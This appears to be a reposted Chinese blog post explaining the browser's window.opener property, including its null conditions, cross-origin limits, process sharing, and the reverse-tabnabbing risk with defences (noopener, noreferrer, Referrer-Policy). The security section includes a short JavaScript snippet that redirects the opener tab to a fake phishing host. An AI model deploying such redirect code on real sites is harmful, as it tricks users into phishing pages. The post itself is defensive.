惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
Secure Thoughts
T
The Exploit Database - CXSecurity.com
C
CERT Recently Published Vulnerability Notes
P
Palo Alto Networks Blog
T
Threatpost
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
T
Tenable Blog
F
Full Disclosure
TaoSecurity Blog
TaoSecurity Blog
I
InfoQ
AI
AI
云风的 BLOG
云风的 BLOG
K
Kaspersky official blog
Microsoft Azure Blog
Microsoft Azure Blog
S
SegmentFault 最新的问题
Y
Y Combinator Blog
GbyAI
GbyAI
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
P
Privacy International News Feed
aimingoo的专栏
aimingoo的专栏
罗磊的独立博客
酷 壳 – CoolShell
酷 壳 – CoolShell
I
Intezer
L
Lohrmann on Cybersecurity
博客园_首页
量子位
Blog — PlanetScale
Blog — PlanetScale
The Last Watchdog
The Last Watchdog
Cisco Talos Blog
Cisco Talos Blog
博客园 - 叶小钗
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Help Net Security
Help Net Security
Security Archives - TechRepublic
Security Archives - TechRepublic
Apple Machine Learning Research
Apple Machine Learning Research
W
WeLiveSecurity
N
News and Events Feed by Topic
S
Schneier on Security
T
Tor Project blog
MongoDB | Blog
MongoDB | Blog
博客园 - 三生石上(FineUI控件)
V
Visual Studio Blog
T
Threat Research - Cisco Blogs
H
Help Net Security
V
V2EX
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
S
Security @ Cisco Blogs
博客园 - Franky
有赞技术团队
有赞技术团队
Martin Fowler
Martin Fowler

Ridic

一个关于映射度的问题 买原版书遇到的坑 区域不变性及相关应用 Klein瓶的高维推广 待解决的问题 一些待整理的资料 记录一些想看的书和课程 在服务器中部署Overleaf 高等代数习题课-记录 关于学习过程的“参数权重”设置 从今天开始写一些东西 不定积分练习 国内Docker镜像代理 《上海高考指南》数学部分阅读与分析 函数关于两点对称问题 数学笔记-第八周 数学笔记-第七周 二模前复习总结 6 数学笔记-第六周 将 word 中的 Mathtype 公式转为 Latex 原创一题 为什么高中数学题越来越难 有趣的开源项目整理 5 4 3 上海高考数学压轴题 2023年普通高中学业水平模拟测试 2 1 典型难题整理 Linux 相关操作 参加 TACA 考试 一些导数题 博客加入数学公式支持 新买的乒乓球拍 数学综合卷 使用 Git Hook 将网站部署到服务器 利用BurpSuite和Charles进行抓包 2023上海英语春考 解决Mac开机界面壁纸不同的问题 迁移到了新域名 期中考复习试卷 关于 友链 Helloworld 随时随地写代码--基于Code-server部署自己的云开发环境 GAN CFOP 学校的电脑 嘀咕
关于window.opener
Tom · 2023-01-09 · via Ridic

The Window interface’s opener property returns a reference to the window that opened the window, either with open(), or by navigating a link with a target attribute.

In other words, if window A opens window B, B.opener returns A.

也就是说,用<a target="_blank">打开的页面,可以直接用window.opener来访问源页面的window对象。(但在现在需要添加rel="opener"才能生效)

2.opener存在的条件

在2018年左右以前,通过<a target="_blank">开启的新窗口都默认带有window.opener,但在Chrome release 88和Safari release 68中都已默认对<a target="_blank">实现noopener,因此如今在以下情况window.opener会返回null

  • 链接加上rel=noopener属性
  • <a target="_blank">打开,但没加上rel=opener
  • 带有Cross-Origin-Opener-Policy: same-origin

所以要在子页面中使用window.opener,需要将请求头设为Cross-Origin-Opener-Policy: unsafe-none(默认),使用<a target="_blank" rel="opener">,或用JS语句window.open("...")

3.同源与跨域

浏览器提供了完整的跨域保护,在域名相同时,parent对象和opener对象实际上就直接是上一级的window对象;而当域名不同时,parentopener则是经过包装的一个global对象。这个global对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出DOMException)。 同域 跨域

4.性能

opener存在时,仅在同域情况下两标签页共用一个进程。 Chrome和Edge等都提供了GUI查看渲染进程的情况,通过 更多工具=>任务管理器 查看。 同域 跨域 当新打开页面与原页面共用一个进程,若执行一个庞大的JavaScript脚本,那么原标签页也会受到影响,可能出现卡顿的现象。

而如果在链接中加入了noopener,两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。

5.安全性

参考: 危险的 target="_blank" 与 “opener”

如果一个链接使用了target="_blank" rel="opener",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

详细步骤

1.在你的网站https://example.com上存在一个链接:<a href="https://an.evil.site"target="_blank">进入一个“邪恶”的网站</a>

2.用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过HTTP Header中的Referer属性来判断用户的来源。

并且,这个网站上包含着类似于这样的JavaScript代码:

const url=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'+url);

3.此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了https://a.fake.site/?https%3A%2F%2Fexample.com%2F

4.恶意网站https://a.fake.site根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。

5.用户关闭https://an.evil.site的标签页,回到原来的网站………………已经回不去了。

上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener对象和parent一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出DOMException)。

但是与parent不同的是,在跨域的情况下,opener仍然可以调用location.replace方法而parent 则不可以。

如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。

防御

  1. Referrer Policy 和 noreferrer 上面的攻击步骤中,用到了 HTTP Header 中的Referer属性,实际上可以在 HTTP 的响应头中增加ReferrerPolicy头来保证来源隐私安全。

ReferrerPolicy 需要修改后端代码来实现,而在前端,也可以使用<a>标签的rel属性来指定rel="noreferrer"来保证来源隐私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

但是要注意的是:即使限制了referer的传递,仍然不能阻止原标签被恶意跳转。

  1. noopener 为了安全,现代浏览器都支持在<a>标签的rel属性中指定rel="noopener",这样,在打开的新标签页中,将无法再使用opener对象了,它为设置为了null
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>